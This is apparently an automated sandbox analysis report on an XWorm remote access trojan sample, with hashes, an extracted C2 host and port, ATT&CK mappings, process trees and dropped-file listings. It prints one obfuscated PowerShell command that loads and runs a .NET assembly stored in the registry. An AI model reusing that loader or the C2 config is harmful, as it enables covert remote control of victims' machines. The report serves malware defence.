xworm | a353bc34e2efa3ea7e4c04bb9d49c70ca45cdd151ed5519d946664b9c5c9282b

Analysis

max time kernel
150s
max time network
16s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
09/03/2025, 14:59

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General

Target

XClient66.exe
Size

501KB
MD5

51e015f908d007651a56ba603c142b12
SHA1

8fe6b8e61426c8a49a778de6f18ce568d58f2a9d
SHA256

a353bc34e2efa3ea7e4c04bb9d49c70ca45cdd151ed5519d946664b9c5c9282b
SHA512

e598ed359d23173889046499c4093c739a80a044724aae16c4bb483311f0ad80357df7b7dd10f9a6cf12084a4009b18927adde3210ec6bebdf8dd57da997a9ad
SSDEEP

12288:EItyU3DTkV1ilKya0FOUuQ0gH+kmtbF6W05EJXp107sd:RxkGTy

Score

10^/10

xworm defense_evasion discovery execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

client-presence.gl.at.ply.gg:50976

Mutex

ZVJ9lOsEvNQZTKC6

Attributes

Install_directory
%AppData%
install_file
DeadM.exe

aes.plain

Signatures

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral1/files/0x00080000000120fd-5.dat	family_xworm
behavioral1/memory/3004-8-0x0000000000CD0000-0x0000000000CE0000-memory.dmp	family_xworm

Modifies security service 2 TTPs 2 IoCs

defense_evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\MpsSvc\Parameters\PortKeywords\DHCP	svchost.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\MpsSvc\Parameters\PortKeywords\DHCP\Collection	svchost.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 2916 created 424	2916	powershell.EXE	5

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Executes dropped EXE 4 IoCs

pid	Process
3004	DeadMdzj.exe
2952	DeadMdzj.exe
2856	DeadR.exe
2792	DeadR.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2916	powershell.EXE

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2916 set thread context of 2812	2916	powershell.EXE	36

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DeadR.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DeadR.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.EXE
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 30e955dd0391db01	powershell.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2916	powershell.EXE
2916	powershell.EXE
2812	dllhost.exe
2812	dllhost.exe
2812	dllhost.exe
2812	dllhost.exe
2812	dllhost.exe
2812	dllhost.exe
2812	dllhost.exe
2812	dllhost.exe
2812	dllhost.exe
2812	dllhost.exe
2812	dllhost.exe
2812	dllhost.exe
2812	dllhost.exe
2812	dllhost.exe
2812	dllhost.exe
2812	dllhost.exe
2812	dllhost.exe
2812	dllhost.exe
2812	dllhost.exe
2812	dllhost.exe
2812	dllhost.exe
2812	dllhost.exe
2812	dllhost.exe
2812	dllhost.exe
2812	dllhost.exe
2812	dllhost.exe
2812	dllhost.exe
2812	dllhost.exe
2812	dllhost.exe
2812	dllhost.exe
2812	dllhost.exe
2812	dllhost.exe
2812	dllhost.exe
2812	dllhost.exe
2812	dllhost.exe
2812	dllhost.exe
2812	dllhost.exe
2812	dllhost.exe
2812	dllhost.exe
2812	dllhost.exe
2812	dllhost.exe
2812	dllhost.exe
2812	dllhost.exe
2812	dllhost.exe
2812	dllhost.exe
2812	dllhost.exe
2812	dllhost.exe
2812	dllhost.exe
2812	dllhost.exe
2812	dllhost.exe
2812	dllhost.exe
2812	dllhost.exe
2812	dllhost.exe
2812	dllhost.exe
2812	dllhost.exe
2812	dllhost.exe
2812	dllhost.exe
2812	dllhost.exe
2812	dllhost.exe
2812	dllhost.exe
2812	dllhost.exe
2812	dllhost.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	2952	DeadMdzj.exe
Token: SeDebugPrivilege	3004	DeadMdzj.exe
Token: SeDebugPrivilege	2916	powershell.EXE
Token: SeDebugPrivilege	2916	powershell.EXE
Token: SeDebugPrivilege	2812	dllhost.exe
Token: SeAuditPrivilege	864	svchost.exe

Suspicious use of WriteProcessMemory 50 IoCs

description	pid	Process	procid_target
PID 1688 wrote to memory of 3004	1688	XClient66.exe	29
PID 1688 wrote to memory of 3004	1688	XClient66.exe	29
PID 1688 wrote to memory of 3004	1688	XClient66.exe	29
PID 1688 wrote to memory of 2952	1688	XClient66.exe	30
PID 1688 wrote to memory of 2952	1688	XClient66.exe	30
PID 1688 wrote to memory of 2952	1688	XClient66.exe	30
PID 1688 wrote to memory of 2856	1688	XClient66.exe	31
PID 1688 wrote to memory of 2856	1688	XClient66.exe	31
PID 1688 wrote to memory of 2856	1688	XClient66.exe	31
PID 1688 wrote to memory of 2856	1688	XClient66.exe	31
PID 1688 wrote to memory of 2792	1688	XClient66.exe	32
PID 1688 wrote to memory of 2792	1688	XClient66.exe	32
PID 1688 wrote to memory of 2792	1688	XClient66.exe	32
PID 1688 wrote to memory of 2792	1688	XClient66.exe	32
PID 2772 wrote to memory of 2916	2772	taskeng.exe	34
PID 2772 wrote to memory of 2916	2772	taskeng.exe	34
PID 2772 wrote to memory of 2916	2772	taskeng.exe	34
PID 2916 wrote to memory of 2812	2916	powershell.EXE	36
PID 2916 wrote to memory of 2812	2916	powershell.EXE	36
PID 2916 wrote to memory of 2812	2916	powershell.EXE	36
PID 2916 wrote to memory of 2812	2916	powershell.EXE	36
PID 2916 wrote to memory of 2812	2916	powershell.EXE	36
PID 2916 wrote to memory of 2812	2916	powershell.EXE	36
PID 2916 wrote to memory of 2812	2916	powershell.EXE	36
PID 2916 wrote to memory of 2812	2916	powershell.EXE	36
PID 2916 wrote to memory of 2812	2916	powershell.EXE	36
PID 2812 wrote to memory of 424	2812	dllhost.exe	5
PID 2812 wrote to memory of 476	2812	dllhost.exe	6
PID 2812 wrote to memory of 492	2812	dllhost.exe	7
PID 2812 wrote to memory of 500	2812	dllhost.exe	8
PID 2812 wrote to memory of 612	2812	dllhost.exe	9
PID 2812 wrote to memory of 688	2812	dllhost.exe	10
PID 2812 wrote to memory of 768	2812	dllhost.exe	11
PID 2812 wrote to memory of 816	2812	dllhost.exe	12
PID 2812 wrote to memory of 864	2812	dllhost.exe	13
PID 2812 wrote to memory of 976	2812	dllhost.exe	14
PID 2812 wrote to memory of 284	2812	dllhost.exe	15
PID 2812 wrote to memory of 344	2812	dllhost.exe	16
PID 2812 wrote to memory of 1036	2812	dllhost.exe	17
PID 2812 wrote to memory of 1120	2812	dllhost.exe	18
PID 2812 wrote to memory of 1180	2812	dllhost.exe	19
PID 2812 wrote to memory of 1236	2812	dllhost.exe	20
PID 2812 wrote to memory of 316	2812	dllhost.exe	22
PID 2812 wrote to memory of 1700	2812	dllhost.exe	23
PID 2812 wrote to memory of 828	2812	dllhost.exe	24
PID 2812 wrote to memory of 1920	2812	dllhost.exe	25
PID 2812 wrote to memory of 1888	2812	dllhost.exe	26
PID 2812 wrote to memory of 3004	2812	dllhost.exe	29
PID 2812 wrote to memory of 2952	2812	dllhost.exe	30
PID 2812 wrote to memory of 2772	2812	dllhost.exe	33

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:424
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{ed9f6622-6a29-4514-82b3-3a23b63759b9}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2812

C:\Windows\system32\services.exe
C:\Windows\system32\services.exe
1⤵
PID:476
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k DcomLaunch
  2⤵
  PID:612
- - C:\Windows\system32\wbem\wmiprvse.exe
    C:\Windows\system32\wbem\wmiprvse.exe
    3⤵
    PID:1700
- - C:\Windows\system32\DllHost.exe
    C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
    3⤵
    PID:828
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k RPCSS
  2⤵
  PID:688
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
  2⤵
  - Modifies security service
  PID:768
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
  2⤵
  PID:816
- - C:\Windows\system32\Dwm.exe
    "C:\Windows\system32\Dwm.exe"
    3⤵
    PID:1180
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k netsvcs
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:864
- - C:\Windows\system32\taskeng.exe
    taskeng.exe {E4784162-D98D-4F4A-B975-75AE627D5617} S-1-5-18:NT AUTHORITY\System:Service:
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2772
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+'F'+'T'+''+[Char](87)+''+[Char](65)+''+'R'+''+'E'+'').GetValue(''+[Char](68)+''+[Char](101)+''+[Char](97)+''+'d'+''+[Char](115)+'t'+'a'+'g'+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Command and Scripting Interpreter: PowerShell
      Drops file in System32 directory
      Suspicious use of SetThreadContext
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2916
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalService
  2⤵
  PID:976
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k NetworkService
  2⤵
  PID:284
- C:\Windows\System32\spoolsv.exe
  C:\Windows\System32\spoolsv.exe
  2⤵
  PID:344
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
  2⤵
  PID:1036
- C:\Windows\system32\taskhost.exe
  "taskhost.exe"
  2⤵
  PID:1120
- C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
  "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"
  2⤵
  PID:316
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation
  2⤵
  PID:1920
- C:\Windows\system32\sppsvc.exe
  C:\Windows\system32\sppsvc.exe
  2⤵
  PID:1888

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:492

C:\Windows\system32\lsm.exe
C:\Windows\system32\lsm.exe
1⤵
PID:500

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1236
- C:\Users\Admin\AppData\Local\Temp\XClient66.exe
  "C:\Users\Admin\AppData\Local\Temp\XClient66.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1688
- - C:\Users\Admin\AppData\Local\Temp\DeadMdzj.exe
    "C:\Users\Admin\AppData\Local\Temp\DeadMdzj.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:3004
- - C:\Users\Admin\AppData\Local\Temp\DeadMdzj.exe
    "C:\Users\Admin\AppData\Local\Temp\DeadMdzj.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:2952
- - C:\Users\Admin\AppData\Local\Temp\DeadR.exe
    "C:\Users\Admin\AppData\Local\Temp\DeadR.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2856
- - C:\Users\Admin\AppData\Local\Temp\DeadR.exe
    "C:\Users\Admin\AppData\Local\Temp\DeadR.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2792

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\DeadMdzj.exe

Filesize
35KB

MD5
a511516966279868f29c49bba981673b

SHA1
d6e9d37f297da33fc7ae15950e8ccd8e5a2b4792

SHA256
ac0ca438e575070c22819b08c8048316c722eee872525ece4f724745dee7b8aa

SHA512
2712fac1d5972b9aebe97fdaad045b92a30798f1b86eb0f33d63f51abc2f2703237f32d08d6a941b720822b2151e152e437a9294f6017365682dd0d03c5a11bb

Download Submit
C:\Users\Admin\AppData\Local\Temp\DeadR.exe

Filesize
151KB

MD5
b8479a23c22cf6fc456e197939284069

SHA1
b2d98cc291f16192a46f363d007e012d45c63300

SHA256
18294ee5a6383a48d1bcf2703f17d815529df3a17580e027c3efea1800900e8f

SHA512
786cd468ce3723516dc869b09e008ec5d35d1f0c1a61e70083a3be15180866be637bd7d8665c2f0218c56875a0ee597c277e088f77dd403bdd2182d06bad3bd4

Download Submit
memory/424-39-0x0000000000430000-0x0000000000457000-memory.dmp

Filesize
156KB

Download
memory/424-38-0x0000000000430000-0x0000000000457000-memory.dmp

Filesize
156KB

Download
memory/424-35-0x00000000001F0000-0x0000000000212000-memory.dmp

Filesize
136KB

Download
memory/424-37-0x00000000001F0000-0x0000000000212000-memory.dmp

Filesize
136KB

Download
memory/424-47-0x0000000037AD0000-0x0000000037AE0000-memory.dmp

Filesize
64KB

Download
memory/424-46-0x000007FEBE4C0000-0x000007FEBE4D0000-memory.dmp

Filesize
64KB

Download
memory/424-45-0x0000000000430000-0x0000000000457000-memory.dmp

Filesize
156KB

Download
memory/476-53-0x00000000001E0000-0x0000000000207000-memory.dmp

Filesize
156KB

Download
memory/476-61-0x0000000037AD0000-0x0000000037AE0000-memory.dmp

Filesize
64KB

Download
memory/476-60-0x000007FEBE4C0000-0x000007FEBE4D0000-memory.dmp

Filesize
64KB

Download
memory/476-59-0x00000000001E0000-0x0000000000207000-memory.dmp

Filesize
156KB

Download
memory/492-75-0x0000000037AD0000-0x0000000037AE0000-memory.dmp

Filesize
64KB

Download
memory/492-74-0x000007FEBE4C0000-0x000007FEBE4D0000-memory.dmp

Filesize
64KB

Download
memory/492-73-0x00000000009D0000-0x00000000009F7000-memory.dmp

Filesize
156KB

Download
memory/492-67-0x00000000009D0000-0x00000000009F7000-memory.dmp

Filesize
156KB

Download
memory/500-81-0x0000000000140000-0x0000000000167000-memory.dmp

Filesize
156KB

Download
memory/1688-0-0x000007FEF6323000-0x000007FEF6324000-memory.dmp

Filesize
4KB

Download
memory/1688-1-0x0000000001390000-0x0000000001414000-memory.dmp

Filesize
528KB

Download
memory/2812-24-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2812-25-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2812-26-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2812-29-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2812-32-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2812-30-0x0000000077A90000-0x0000000077C39000-memory.dmp

Filesize
1.7MB

Download
memory/2812-31-0x0000000077870000-0x000000007798F000-memory.dmp

Filesize
1.1MB

Download
memory/2812-27-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2916-22-0x0000000077A90000-0x0000000077C39000-memory.dmp

Filesize
1.7MB

Download
memory/2916-23-0x0000000077870000-0x000000007798F000-memory.dmp

Filesize
1.1MB

Download
memory/2916-21-0x0000000001500000-0x0000000001528000-memory.dmp

Filesize
160KB

Download
memory/2916-20-0x0000000000D50000-0x0000000000D58000-memory.dmp

Filesize
32KB

Download
memory/2916-19-0x0000000019EF0000-0x000000001A1D2000-memory.dmp

Filesize
2.9MB

Download
memory/3004-18-0x000007FEF6320000-0x000007FEF6D0C000-memory.dmp

Filesize
9.9MB

Download
memory/3004-8-0x0000000000CD0000-0x0000000000CE0000-memory.dmp

Filesize
64KB

Download
memory/3004-195-0x000007FEF6320000-0x000007FEF6D0C000-memory.dmp

Filesize
9.9MB

Download